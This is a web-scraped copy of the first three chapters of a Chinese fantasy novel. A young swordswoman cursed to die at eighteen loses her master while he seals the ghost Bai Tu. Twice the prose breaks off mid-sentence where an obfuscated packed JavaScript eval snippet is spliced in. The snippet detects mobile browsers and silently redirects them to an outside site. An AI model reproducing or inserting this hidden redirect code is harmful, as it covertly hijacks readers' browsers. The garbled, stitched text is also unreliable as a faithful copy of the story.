《做人嘛,我只喝乌龙茶》 1. 第 1 章 “你将死于十八岁!你的心会被心爱之人亲手挖出来!哈哈哈!哈哈哈!” 无数可怕、血腥的鬼脸从四面八方涌现,阴风阵阵,凄厉悲怆的声音从无孔不入传来,很快变成幸灾乐祸的嘲笑声,持久回荡。 边镶红睁开眼睛,超级无语,不,非常生气,这个杀千刀的噩梦就不能换个时间再来,偏偏在这个下着小雨,夜风凉凉,超级适合睡觉的前半夜过来!好气,但她还是想睡觉,她翻了个身,又平躺过来,慢慢睡着。 “你将死于十八岁!”一个模糊的身影逐渐走近,声音分不出男女,语气却很肯定。 边镶红超级生气,但没有动作。天知道这个梦境她重复了几千遍,她无数次冲上去抓住了那个五颜六色的身影,要掀开斗篷,看看到底是何方神圣装扮的奇奇怪怪,天天诅咒她早死。到底和她多大的仇?多大的怨? 明明她这一生从未做过坏事,真的好冤! 边镶红不想在梦里浪费时间,她真的很想好好睡觉,所以也没像以前会字正腔圆地喊了一声“滚!”然后醒来。她今天白天刚收拾完三步山上五只厉鬼,很累,真的很想睡个好觉。于是她闭着眼睛站在那里一动不动,想在梦里睡个觉。 可是那个声音今夜就非要折磨边镶红,贴在她的耳边不断地重复那句话,“你将死于十八岁!你的心会被心爱之人亲手挖出来!” 真是贱的无边的噩梦,到底是哪只坏蛋梦灵通知了天下所有的梦灵她噩梦的内容!天天给她造同一个噩梦,边镶红怒气达到顶点,她倏地睁开双眼,梦境消失,她扯开薄被,坐了起来,下床,鞋也不想穿,直接推开门赤脚冒着雨跑到对面的屋子,哐哐砸门,大喊:“师傅!师傅!师傅!” 一声还比一声高,但里屋一点动静都没有,但她铆足了劲继续砸门大喊,用各种声调一遍遍喊“师傅”。 这是一个嘈杂的雨夜,已经不宜睡觉了。 终于,从屋里甩出一只绣花枕头,打在门上,门明明在慢慢地打开,但边镶红被一股力量震退几步,下了台阶出了屋檐,淋了点雨,还好她有所防备,不然可能摔个狗吃屎。 这力度说明龙景被她吵醒的起床气非常大,他此刻一样非常生气愤怒,那就好!她睡不着,龙景就更不能好好睡觉。 “师傅!”边镶红边跑变大喊,冲进了龙景的屋子,也没有顾及什么男女大防,毕竟她师傅一直没将她当成女的,或者说,没将她当成人。她是他十七年前捡回来的孤女,地位跟这山上的飞禽走兽一样,是个活着的生命而已。唯二的不同就是龙景教她练剑和给她取了名字,因为路边捡的襁褓是大红色,所以叫边镶红。 简单直白的名字也挺好的,边镶红只有一点不满意,识字的人都知道,那个“镶”字多难写,笔画多繁琐,二十五画啊!①她还一直被龙景嘲笑名字写得丑不拉几,真真字如其人。她当时才五岁啊,也知道龙景在嘲讽她,所以踩了龙景好几脚后,躲在被窝里偷偷哭泣。还好当时有花婆婆安慰她,跟她一起骂龙景。 “师傅啊,你亲爱的徒弟我就要死了,你还睡得着!”边镶红冲上上扯开龙景的棉被,他不知为何很怕冷,一年四季都是盖厚棉被,将他拉扯起来,不断摇晃他。 龙景本来有一瞬间又睡着了,但立即被边镶红吵醒,起床气愈发旺盛,他随即一掌呼出要打倒这个目无尊长的逆徒。 这次边镶红防备得非常及时,她侧身躲过,敞开的两扇门哐当关上又被打开,她看到了外面的雨水统统消失,都蒸发掉了,这力道真大。她再次抓住他的胳膊,不管不顾继续大喊,“师傅,你怎么还是这样狠心,我夜夜被噩梦缠身,你不安慰我、帮我,还要打我!师傅,我难道不是你唯一亲爱的徒弟吗?” 边镶红的嗓音愈发响亮,在龙景听来愈发矫揉造作,他好烦,他就想睡觉而已。他入夜了才回到三步宗,那会边镶红已经在睡觉了,怎么会知道他回来了,知道了就来烦他,他大喊一声:“滚!” 这一声怒吼中气十足、充满怨气,边镶红差点笑出声来,但她很快收敛笑意,换上哀怨的神情,声音更加哀愁,“师傅!我过几天就十八岁了,我好想和您一样活到一百八十还这样健朗,我不想十八就碎了!” 龙景还是无动于衷,边镶红顿了顿嗓子,冲到床边,半蹲着,跪他是不可能的。她抓住了他的袖子,放开嗓子,一声三折地大喊:“师~傅~啊~!!!” “我真的不想死啊!师傅!”边镶红话音刚落,一道天雷落下,似乎有点诡异。她抬头看着龙景,龙景只是往她这边稍微侧着头,并没有睁开眼睛。 边镶红越想越气,他身为三步宗掌门,天天在外面不知道干什么,留她一人对付漫山遍野的孤魂野鬼,她都快累死了,他竟然还想着睡觉。 “你不会死的!”龙景睁开眼,屋里瞬间灯火通明,他看向边镶红,用力抽出手,转头看着她,语气凶狠,“再扒拉我就把你扔出去!让你被山下的各种厉鬼吸干精气,提早变成鬼,碎成一堆灰。” 边镶红讪讪收回手,觉得龙景今夜很可能会说到做到,她站了起来,居高临下地看了一眼龙景,灯光明亮,他的容貌还是一样耀眼,她忍不住心下腹诽,这个老头子还是这样俊俏,好气,他凭什么长得这样赏心悦目!她拍了拍自己的胸膛,不要生气,郁结于肝不好! 龙景拍了拍袖子,“我说了多少遍,梦到那个梦就闭上眼睛在梦里睡觉就好,不要动,不要去听,你非得跟一个噩梦叫什么劲!我难得睡个好觉,你非得把我吵醒!边镶红,不要以为我答应了花婆婆会照顾你,就不会把你扔下山去!” 边镶红听到“花婆婆”三个字,心脏被触动,从前的噩梦她可以忍受是因为有花婆婆陪着她。 龙景不会理她的情绪,伸手指着门边的枕头,“拿着它回去睡觉,给我像尸体一样安静地睡觉!” 边镶红看了一眼那个滚落在门边的枕头,看到了上面有龙景画的安魂符,符上的灵力比以前她给的画的那些还深厚,那那些梦灵不能轻易进入她的梦境,的确可以睡个好觉。但是用他用的枕头,有点恶心了,虽然他长得好看,她还是有洁癖的,她有点犹豫。 龙景知道边镶红在嫌弃他,他深吸一口气,“那个枕头我没用过,全新的,我刚从山上带上来的,我以为我扔出那个枕头你就知道我意思,结果你个榆木疙瘩,立刻从我屋里消失!” 边镶红的确没来得及仔细看一眼那个枕头,就想着吵醒他,她有点心动,睡个好觉真的很重要。那个噩梦的预言,她其实不是那么在意,如果真的如此,那就来吧。她追求的快乐是当下拥有的时刻。 她立即跑过去捡去了枕头,刚想说话,就被一股力量推出去,房门立即合上,龙景屋里的灯火立即熄灭。 只余一声情真意切的“滚!” 边镶红深吸一口气,本想骂回去,但一下子就闻到枕头里的香气,在湿润的雨夜香气特别明显,特别能抚慰人心。她决定先不和龙景计较了,她要回去睡觉,明天再来大战龙景。 很快,边镶红就躺在她柔软的床上,在香气中睡觉了。 “师姐、师姐!”一道拍门声将边镶红吵醒,她没睁开眼睛前,决定把毛峰吊起来打一顿的,他怎么敢来扰她好觉的!但她一睁开眼,天已经大亮,她慢慢坐起来,神清气爽,一夜无梦,睡得好舒服啊! 边镶红立即躺回去,闭上眼,想要继续睡。但拍门声一直没停止,真的想打人了,她再次坐了起来,“滚进来!” 毛峰立即推门进来,笑着问好:“师姐,中午好,该吃午饭了!” 边镶红转过头去盯着毛峰,不知情的人见到毛峰都会被他纯良秀美的气质吸引,但她看久了只觉得他的脸 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所幸她有洁癖,没有抱过那只狐狸,也没将他放进过自己房里,不然她一定会在他伤好化出人形后,将他打死。虽然不知道能不能打败千年狐妖,但龙景能做到,边镶红自信她应该也是可以的。 “师姐,需要毛峰为你穿衣、梳头吗?”毛峰脸上无愤懑之意,态度一样谦卑,他经常这样问候边镶红,有没有需要他为她做的事情,但无一例外都遭到了拒绝。 边镶红疑惑地看着他,毛峰继续说道:“毛峰知道师傅和师姐昨夜没睡好,所以想着为你们煮点好吃的,刚刚熬好了小米粥,用菜园子的香葱炒了五颗鸡蛋,又煎了两条三花鱼,也算为师傅接风洗尘。” 边镶红还是不能理解,“你一只狐狸怎么比我还会懂人情世故呢?”她从床上起来,拿上外衣套上,坐在镜子前。毛峰立即上前,她拿着梳子停顿了一会,还是交给了他。 毛峰很惊讶今天边镶红竟然允许自己为她梳头,他知道她不太会给自己梳头。 花婆婆活着的时候,每天都会给边镶红梳各式各样的发髻,带上各种头饰后,两人一起看着镜子赞叹她们真好看!但她每天忙着练剑、超度冤魂,发型没法保持住,花婆婆便会将她的长发散好重新编成一条麻花辫。 花婆婆死后,再也没有人为她梳头了,她披头散发了几天后,忽然学会了用木簪为自己束发。 “大概是花婆婆教的好!”毛峰梳顺了边镶红的头发,将她的头发放给三股,简单地编成麻花编,用一条绿色的丝巾系住发尾。 他的伤其实都是花婆婆照顾的,他们一起生活了一年。花婆婆教了毛峰很多事情,然后老死了。她临死前抓着他的手,双眼含泪看着边镶红,他知道她想拜托他好好照顾边镶红,但终究没有说出口。 照顾边镶红饮食起居的事,毛峰自觉地接过来了,但是边镶红不愿接受他的照料,她立即学会辟谷,自己照顾自己的衣食起居。这是他第一次为她梳头,但他动作轻柔而熟练。 边镶红从镜子里看到了毛峰为她编的麻花编,觉得有点不可思议,这老狐狸的手怎么比她巧,这样显得她很无能!她立即站起来,“吃饭去!” 毛峰跟在她身后去了饭堂,龙景已经开吃了。 “今天真是奇怪,怎么师傅也吃上饭了?”边镶红坐了下来,看着龙景慢条斯理地喝小米粥,这架势为何有点像再喝琼浆玉露,她也端起了碗,决定像他那样优雅喝粥。 龙景仿佛听不到边镶红的话,她也不想理他,喝了几口见底了,又给自己盛了一碗,三口就喝完。她还没放下碗,就听到龙景说道:“喝完就下山去吧!” 边镶红猛然抬头,不解地看着龙景,粥已经咽下去了,不然一定全喷在他脸上,真是可惜!她放下碗筷,直勾勾地盯着龙景,“什么意思?想把我扔下山去!不就吵了一下你睡觉,这么记仇吗?” 2. 第 2 章 龙景身体往后一靠,双手抱胸,“你不是要我救你,不是想活得比我老,那就下山去!” 边镶红还在呆呆望着龙景,就看到他看向毛峰,“你也下山吧,毛峰,这里没有你想要的东西。” 毛峰眼里没有多少惊诧,他看向边镶红,边镶红发觉了他的目光,转过头去看他,什么意思?她没懂! “师姐,我可以和你一起下山吗?” 边镶红瞪大双眼,毛峰的话有点吓人,赖上她啦?她呆呆转头看向龙景,质问道:“你什么意思?我下山了,三步山怎么办?您老能安静待在这里维持三步山的平和吗?” “不可以!”龙景斩钉截铁,在边镶红的注视下看向了毛峰,“这三步山由你负责。” 别说边镶红惊讶,坐不住蹦了起来,毛峰也很震惊,直勾勾地盯着他,原来他救他是为了今天。 龙景无所谓地回看了他一眼后,又看向边镶红。 毛峰也看向边镶红,她立即摇了摇头,她真的一点都不知情,龙景今天真的打了她一个措手不及。 “你想死还是想活?”龙景的神情很严肃,边镶红有一点点慌乱,难不成真的是预言梦?她想想她十八年的人生好像的确不是那样顺畅,简直是噩运连连,不然怎么会在三步山这个天地间怨气最重的地方长大呢? 三步山之所以是天地间怨气最重的原因,相传是千百年前有个修仙之人,在此证道失败后身陨,亡魂怨念深重,不肯散去,久久徘徊于山顶。吸引了越来越多的冤魂聚集于此,生气无法留存,山野荒芜。 因而天降一方神明,长居山顶化解怨念,感化冤魂,然后消散于天地。 神明回归天上之时,在山顶的巨石上题字“三步山”,揭示人生真理,一步成人,一步变鬼,一步化云。此后产生的冤魂被吸引至此,神明回归天上之时,在山顶的巨石上题字“三步山”,揭示人生真理,一步成人,一步变鬼,一步化云。 天下有冤、有怨亡魂数不胜数,无时无刻都有亡魂攀上三步山,徘徊不已。大部分冤魂瞻仰神的字迹,悟出真理,得超生,能自行解脱,前往黄泉投胎转世。但少部分怨念深重,困于执念者,困于三步山。 后来不断有修仙之人上山修建居所,致力于超度冤魂,以得悟大道羽化成仙。逐渐形成三步宗宗门,但五百年过去了,无人成仙,宗门凋零,现在只剩龙景和边镶红两人了。 “所以我真的会死于十八岁,凭什么啊?”边镶红蹦了起来,大喊:“这不公平!”她还想得道成仙呢!毕竟从她十岁起,就每天兢兢业业超度冤魂,这不仅是苦劳,是大大的功劳啊!有利于人间社会和三步山和谐发展啊! “你超度过那么多冤魂,还没悟出世道就是不公平的真理吗?”龙景抬头看向了远方的群山,“但命运还是优待了你一点,你下山去找三步山神改命吧!” 三步山神?边镶红立即想到那个在山顶题字“三步”的那位不知名的神明,“师傅是说那位复苏了三步山的神明?” 龙景点头,“是她没错。” 边镶红继续问道:“那她在哪里?”毫无疑问,三步山神不在三步山。 “我不知道,所以你自己去找。” 龙景的神情太风轻云淡了,他竟然完全不在意她是否能顺利找到山神。 边镶红眯着眼,双手交叉抱胸,凝视他,“如果我找不到山神死在山下也没关系是吧?我亲爱的师傅!” 龙景脱口而出,“是的!若真如此,就是你的命。” 边镶红放下了手,指示毛峰,“把桌上的饭菜端走!” 毛峰领会她的意思,马上端走饭菜和碗筷,边镶红虽然很久没吃过饭了,但她一直都珍惜食物,从不浪费。 边镶红立马一脚踹向饭桌,石桌有点分量,所以她非常用力,最好能砸死龙景这个冷血无情的糟老头子。 在石桌就要砸到龙景胸口之时,他没有任何防御,反而不紧不慢地开口,“这是我亲手做的桌子!” 边镶红自然知道。 “因为你需要吃饭。”龙景抬眸看她,手上没有任何动作,石桌也没有碰到他的身体。因为边镶红掰扯回了桌子,桌脚哐当一声落地。 好气,边镶红怒狠狠地瞪着龙景,他真的把她吃得死死的,他才是老奸巨猾的狐狸! “我死了,就回来三步山拉旗称王,带着全天下的冤魂一起为祸天下,让天下无安宁之日,让你一点点觉都不能睡!” 龙景站了起来,看到了边镶红皱在一起的眉头,点了点头,“如果你死了,就回来这里,我让毛峰不要超度你,让你与天地同寿。” 太出乎意料了,边镶红愣住,龙景的话匪夷所思,他的眼神更加匪夷所思。她转过身去,看着龙景的背影,思考不清楚这是怎么回事? 那她什么时候下山,今天?现在?她真的要下山啊?边镶红跺了跺脚,转身跑到山顶去。 毛峰看着她的背影,知道她是要去华婆婆的坟墓道别一下,又或许偷偷哭一小会。他叹了一口气,目送她的背影。 边镶红将一把小雏菊放在墓碑前,然后坐了下来,一起眺望着远方。今天阴天,山风吹过,很凉爽。 “花婆婆,昨天下雨了,你开心吗?”花婆婆喜欢下雨天,柔和的下雨天,不是那种大雨倾盆的那种,边镶红当时不太能理解雨天的美妙。 “我很开心!今天阴天,我也很开心。”边镶红侧过头来,看着墓碑,“花婆婆,你说死了会不会也觉得开心呢?” “我知道,你一定会说是有点开心,但活着会更开心快乐。我还知道你一定会说那些噩梦都是假的,是相反的,我一定会活到一百八十岁。”边镶红伸手抚摸了一下墓碑,“花婆婆,我很想你。” 一阵风吹过,吹凉了边镶红眼里滚落的眼泪。 不对,这是什么风这样阴凉,边镶红转头看向对面,一团阴影遮天蔽日,阴风冷冽,她立马起身,这是厉鬼的怨气!很快山顶狂风大作,万鬼悲鸣!这得是多怨念深重才能引起整座山头冤魂的共鸣。 边镶红从心脏里抽出长剑,严阵以待。泛着红光的长剑在阴暗的环境里异常明亮,一道黑影袭来,直逼边镶红面门,好强大的杀意!她立即挥剑斩断,结果催生出无数道带着凌厉杀意的黑影从四面八方直直刺来。更加快速挥剑斩断所有黑影,但黑影生生不息,将她困于其中。 这是边镶红第一次遇到这样棘手的情况,此时天黑地暗,她全靠直觉挥剑斩断想要刺进她身体的任何一道黑影。黑影上附着的死气浓郁,被刺破血肉将无法恢复,这样的戾气是普通冤魂没有的。 这厉鬼有点东西!那超度这样厉鬼就更有意思了。 边镶红将赤阳剑往天上一掷,赤阳剑撑出一小方天地,黑影无法冲破屏障。她双手合十,右手中指划破左手中指,蘸血为墨,凭空画符,鲜血金光闪烁。三息之内,画完了安神咒,她再次双手合十,闭上双眼,高声朗诵:“青天黄土,金日银月,和风细雨,归于须臾。”① 安神咒不断被复制延展,形成巨塔模样,以边镶红为中心向外吞噬黑影。这只新来的厉鬼可能不知道,她的血比厉鬼的怨气更加可怕,用龙景的话说就是,她命格的戾气能直接将三步山所有冤魂烧的烟消云散。 不一会儿,天朗气清,边镶红很满意自己的能力,她伸手要收回赤阳剑,却见它还高悬于天,忽然朝前刺去,它在进攻。 悬崖边的空气被刺破,一个高大的黑色身影显露出来。很明显,所有的黑影皆来自这只鬼。竟然没超度掉他,边镶红默认这身形是个男鬼。赤阳剑回到了她的手上,她紧紧握住剑柄,快速思考御敌之策。 一道金光划破空气,将黑影从中间一分为二,是龙景的剑,他从天而降,背对着边镶红。 黑影嘶吼出声,声音凌厉,四周草木皆折。 毛峰跑到边镶红身后,急切问道:“师姐,你没事吧?” 边镶红摇摇头,就看到那个黑影又恢复如初了,这回真遇到个难搞的了。但龙景站在了她面前,他总算有点为人师表的样子了,她有点欣慰。 “白荼,你竟然敢上山来找死!”龙景握住剑,剑尖直指那团黑影。 忽然微风吹袭,白光乍现,从黑影里幻化出一人,一身白衣,三千青丝垂落在地,低头垂眸。 边镶红立即走到龙景旁边,对面那人抬头,两人对视。刹那间,烟花灿烂了黑夜,绚丽多彩,震慑人心。那一双眼睛比月光明媚,她忍不住点头头赞叹:“好秀气!好美丽!” 龙景侧头看到了边镶红忸怩的模样,泼了盆冷水,“就是他天天给你造噩梦的!” 边镶红立即怒目而视,“原来是你这个坏蛋,天天扰我好觉!” 白荼被骂,反而笑了,嘴角轻扬,一双浅浅梨涡春风。 边镶红又忍不住感慨,“他真的好帅啊!” “他是来杀你的!” 边镶红瞪大眼睛转头看向龙景,龙景直视着她,是真的! 白荼上前,拨开了剑,“哈哈哈!龙景,人家小姑娘还没欣赏完我的美貌,你干嘛这样煞风景呢!你不会是吃醋了吧?” 龙景站在边镶红面前,“白荼,你……”他还没说完边镶红从他身边站了出来,清脆的声音响起。 边镶红已经打完了白荼的左脸,他迅速回正过来,不可置信地看着她。 龙景看到白荼的左脸上红彤彤一片,知道边镶红打的很用力。 “啪!”又是一巴掌,白荼这回没有迅速回正过来,边镶红的性格真是难以捉摸。 “你这只该被千刀万剐的恶鬼!”边镶红厉声骂道,“你想杀我,那我家人一定也是你杀的!”她又一巴掌呼过去,但这次被白荼抓住了手腕,龙景立即攥住他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534547|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕。 毛峰走上前来,看到他们三人三手构建出了一个等边三角形。这局势,打不打? “是,十八年前的今天,你刚出生,我向边家人讨要你,他们拒绝了,所以我把他们都杀了!”白荼放开手,看向龙景,“龙景,你竟然敢耍我,把她藏在三步山。看在我和你还是有点交情的,我可以放过你。” 边镶红明白了白荼的意思,是龙景救了刚出生的她,那今天是她生日了,好像的确每年这个时候毛峰都会煮一顿丰盛的早餐等她,一定是花婆婆告诉他的。她的家人就这样惨死于十八年前,她应该将白荼挫骨扬灰,扔进臭水沟。 又是一声响亮的巴掌声,边镶红看了看自己的手,不是她,龙景打的,他打的是白荼的右脸,现在他的脸对称了很多。 边镶红看向龙景,真心实意地赞叹,“师傅,我错了,你才是真的帅气!” “哈哈哈!”白荼大笑,他今天收到了千百年来从未有过的耻辱,他全身上下开始燃烧,热浪四溢。 龙景和边镶红立即后退几步,金水剑和赤阳剑齐齐指向白荼。 “让你看看你师傅的实力。”龙景凌空而起,用鲜血画符,那不是安神咒,是专门销毁魂魄的安魂咒,以燃烧画符者修为和血液为代价杀死怨鬼的顶格符咒,边镶红目前的修为还画不出安魂咒。 “龙景,你的安魂符十八年前不用封印住我,现在依旧无法封印我。”白荼说完无数道火剑齐齐刺向龙景,边镶红听到了龙景结界破裂的声音,她立即持剑砍断火焰。 “玄天三步,后土一抔,青青幽灵,混混虚无。”② 安魂符变成通天巨网,金光直逼云层,从四面八方罩住白荼。 白荼不慌不忙挥手斩断所有金光,火焰燃烧掉立即所有符咒。但一层金网再次从天而降,一层又一层的金网如阳光般照射落在了白荼头上。 龙景一纸安魂符,有一百零八层封印。 “不得了,十八年你的安魂符多了二十七层。但是,十八年了,我吃掉了一千四百九十九只鬼。”白荼大笑,黑影猛然膨胀一倍,安魂符烧毁的那些怨念又不断地生长出来,吞噬掉安魂符。 “是吗?”龙景不欲多言,而是双手握住金水剑身,吸收了血液的金水如如平静的湖面升起一轮明月,晶莹的月光一泻千里。他以剑为笔,以血为朱砂,再次画出一张安魂符。 “以我之血,抚你之魂。急急如律令!”③ 金水剑带着安魂符,直击白荼眉心,金光所到之处黑影皆冰冻成霜,迅速如尘埃落地,融入大地,消散不见。 龙景血液的戾气竟然比她的还可怕,边镶红知道龙景的意图了,对于不能超度的恶鬼,就以超度者血液的戾气焚烧掉他们的灵魂。她抬头就看到安魂符上的血迹迅速燃烧,白荼的黑影团已经被烧毁的差不多,但他脸上毫无畏惧之意。 那些怨念难道不是白荼力量的来源吗? 龙景持剑冲向白荼,一金一红两剑迅速交缠在一起,瞬间山顶昏天暗地,狂风大作,飞沙走石。 边镶红刚想要上去帮忙,就被毛峰抓住手腕,“师姐,静观其变。” “放手!”边镶红厉声喝道,赤阳剑已经先冲上去,及时替龙景砍断了他后背的一条火剑。 边镶红甩开了毛峰,握住赤阳,龙景看了一眼边镶红,她立即在赤阳剑身上画安神符,一人以三步剑法的首招开门见山,一人以最后一招关门谢客,专攻白荼面门和双腿。三人搏斗在一起,不见天日。 白荼一打二,逐渐有些不敌,索性买了个破绽,被龙景一剑刺穿肩膀。他看了一眼自己的右肩,有个窟窿,不久后会重新长出来的。鬼嘛,就是这样。 龙景停了下来,“本来想好好送你一程的,但计划总是赶不上变化。”他出其意料地夺过了赤阳剑,边镶红才反应过来那些话是对她说的,但是她不理解龙景的意思。 龙景再次凌空而起,快速在赤阳剑身重复画上一道安魂符,边镶红看到赤阳发出了从未见过的金光。“以我之血,抚你之魂!”他的声音深沉而厚重,如千军万马崩腾而下,龙景第三道符咒以泰山压顶之势刺向白荼。 白荼眯着眼睛看清楚了金光下带着的无数符咒,他伸出手抓住了赤阳剑,脚下的土地立即塌陷,“你知道你是无法超度我的。而此刻,你还是飞蛾扑火般要封印我吗?” “你错了,这一刻,我是可以封印你的!”龙景从容不迫,他转过头看向边镶红,面带微笑,“再见了,我唯一亲爱的徒弟。” 他说的话边镶红还是不能理解,但马上大喊一声“师傅!”她奋不顾身地冲了上去,尽管她也不知道她要冲上去干什么。 龙景转过头来,双手握住剑柄,脚尖点地,身体翻越一圈绕到白荼身后,用力刺进他的身体。 边镶红猛然停住了脚步,她的双眼酸涩,视线模糊。 3. 第 3 章 赤阳剑贯穿了龙景的身体,边镶红的眼泪砸在了地上,原来泪水是那样的温暖,他会死在今天吗?他会死,她木木地摇着头,不会的,龙景怎么会死呢? “金水!”龙景喊了一声,金水剑感应到他的意思,飞到边镶红面前,“画符!安魂符!”他的双手还紧紧握着赤阳的剑柄,死死扼住白荼。 “哈哈哈,龙景,这就是你封印我的方式吗?”白荼双手覆盖在龙景双手之上,越加用力地捅进自己的身体,龙景忍不住低哼一声。 边镶红看到了滴落的鲜血,那样艳红粘稠。金水剑在她面前不断震动,催促她赶紧画符。 “边镶红!”龙景又吼了一声,白荼正在往外拔剑,剑身上的安魂符的效用就快要消失了。 “你若是封印了我,龙景今日必死无疑。”白荼看出了边镶红的犹豫,她猜到了安魂符的作用,所以不敢动手。“边镶红,十八年前为了救你,龙景的心被我吃掉了一块,现在这一剑还是刺在了那个地方,他的心很快就会碎掉。” “边镶红!”龙景手上青筋暴起,死命地攥着剑柄,“他骗你的,我不会死的!我会陷入昏迷而已,等你找到三步山神就可以唤醒我。”他说完咬紧牙关,咽下了一口血,“你快点,我摁不住白荼了!” 金水剑震得更厉害,边镶红左手握住它,划破右手中指在剑身上画安魂符。 “九天九地,金光养生,三魂永久,魄无丧倾。”①她持剑向白荼眉心刺去,剑身上的的金光越来越耀眼,如朝阳割破黑夜的曙光那般金亮。 剑尖刚开始无法刺进白荼的眉心,边镶红无比用力,但始终无法前进一点。 “你无法封印我的!”白荼话音刚落,就看到剑身上多出了一双手,耳边传来龙景的声音,“以我之血,抚你之魂。” 白荼双手一样死死握住剑身,边镶红看到了他的双手瞬间鲜血淋漓,他只顾侧头看向龙景,“值得吗?” “值得!”龙景回答得太快,金水剑顺畅地刺进了白荼的眉心,整把剑没入了他的身体。 边镶红失去了对金水剑的把持,差点摔倒了,她站在白荼前侧方,看到了金水在白荼的身体里熊熊燃烧,白荼周围的怨念被安魂符燃烧成青灰。她也看到了龙景痛苦的神情,他的嘴角不断溢出鲜血,他的胸口一片猩红,他应该很痛的。 “哈哈哈!”白荼大笑,他的手紧紧握着赤阳剑剑身,用力将它从他的身体拔了出来,赤阳剑沾满血液,龙景失去支撑,直直仰面摔落。 “师傅!”边镶红飞速越过白荼接住了龙景,他的身体轻的像一片羽毛。她抱着他不知所措,只能又呼唤了一遍,“师傅!”她侧过头去,眼泪滑落,不想在他面前哭出来。 白荼拄着剑转身过来,居高临下地看着龙景,“为什么不让我杀她呢!她死了,你就能活啊!” “我吃了她,你也会变得更加强大啊!” 边镶红猛然抬头,心绪翻涌,白荼看着她的双眼,脸上笑意不减,“你的眼神好凶啊!小镶红,但我说的都是实话,你们两人命格相克,必有一死。你越茁壮生长,龙景的生命就会枯萎的越快。” 原来是因为这样,龙景才不敢在三步山长住的,他们彼此会相互吸收对方的生命力,怪不得小时候他每教完她一招三步剑法就要休息很久。 边镶红低头看着龙景,他明媚的双眼已经失去了光彩了,她不解,“为什么要救我?” 龙景看到了边镶红的滚落的双行泪,她小时候也经常哭,哭得撕心裂肺,长大一点后,就不哭了,连花婆婆死的时候她都没有在人前哭过。他抓住了她的手腕,“因为我想彻底杀死他!” 边镶红知道他在她的腕部画了一道安神符,她不理解他的意图,他们师徒一场,疏离得像陌生人。但她忍不住哀求,“不要死!” 白荼轻松欢快的声音响起,“他很快就会变成一堆石头的。” 边镶红恨不能折断白荼的脖颈,她的意念强化,赤阳剑立即飞起,刺向了白荼的脖颈。 白荼伸手握住剑身,赤阳一动不动,它体内的金水也在横冲直撞,他摇摇头,“我不是人,也不是鬼,杀不死,也不会感觉到疼痛。你就算拧断我的脖子又能改变什么呢?” “龙景,我一定会比你更早醒来的!”白荼话毕,迅速变成一堆黄土,赤阳剑立即飞回到边镶红旁边,金水剑直直插进土地里,那些被燃烧的怨念化成的尘埃逐渐堆积成小土坡掩埋了金水剑。 边镶红摇了摇头,“不要,金水!”她想要冲上去扒拉出金水剑,金水的结局就是龙景的命运,却只能紧紧抱着龙景,“师傅,你只是会昏迷过去而已,一定会醒过来的对不对?” “对!”龙景慢慢坐了起来,面对着那堆黄土,“一直没和你说过,生辰快乐,镶红,祝你天天快乐!”这是边镶红第一次听到龙景祝贺她生辰,他的声音原来可以温柔平静。 说完后龙景坐直了身体,用力盘坐坐好,闭上双眼,双手合十,“青青幽灵,混混虚无。” 不要!不要!不要!边镶红满脑子都在重复那两个字,却不止如何行动才能阻止事态发展。在生死大事上,她无能为力。 刹那,昏天暗地风云翻涌,一道天雷落下,直直打在龙景头上,贯穿了他的身体。 边镶红看到了龙景倾倒的头颅,他失去意识了。没有意识的人,还活着吗?她的心忽然被搅动起来,痛得她难以呼吸,她不由自主地喊了一声,“师傅!”她扑上去接住龙景,可是电火散去,只余一块四方的巨石。 人怎么能变成石头呢? 边镶红扑在石头上面,无法思考,她双眼合上。 “师姐!”毛峰跑了过来,拉住了边镶红的胳膊,她的额头通红一片,晕倒过去了。他打横抱起边镶红,看了一眼那方石头,走了。 “你将死于十八岁,你的心会被心爱之人亲手挖出来!” 边镶红看到了一个背影,她追上去,用力地扯着那人的肩膀,“你个混蛋!干什么天天诅咒我早夭!” 那人被往后拉扯,转过身来,嘴里还在念叨着:“你将死于十八岁。” 边镶红一把扯开他的斗篷,看到了那人模样,她的手停在半空中,整个人像被恶鬼吓到,连连后退,那人却不断往前走近,“你的心会被心爱之人亲手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534548|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挖出来!” “啊啊啊!”边镶红声嘶力竭地大喊一声,从床上弹坐起来。 毛峰立即跑了进来,手里的脸盆的水洒落一地,“师姐!你怎么了?” 边镶红转头看到了毛峰担忧的脸,顺手抓了枕头扔过去,“滚出去!” 那个枕头打在了毛峰的小腿,摔落在他的鞋面上,他放下脸庞,捡起了那个枕头,轻轻拍了拍灰,放在椅子上,把脸盘放回脸盆架上,然后退出去门外,帮她关上了房门。 “师姐,我就门外坐着,有事你喊一声!”毛峰的声音从屋外传来,边镶红又喊了一声“滚!”她躺了回去,拉起被子躲在里面。被子隔绝了外界,这样就不会有人看到她在流泪。 毛峰还是安静地坐在台阶上,他理解边镶红的不安和痛苦。她对他的冷漠是一种自我保护,她害怕分离、害怕孤独,她不能接受和他亲近起来之后,又面临分离,像花婆婆过世那样的天人永隔,所以她拒他于千里之外。她每天忙着化解冤魂执念,用尽全力不让自己停下来。她没有想象过龙景的离开,在她心里,龙景是无处不在的,尽管他总是神出鬼没,行踪不定,但她知道他一定不会真的离开她的。 但是离别这个命题总是会一遍遍上演,边镶红还是只能被动地接受命运的安排。 “毛峰,烧水。”边镶红扯开被子,光线太强了,她眯着眼,“我要泡茶。” 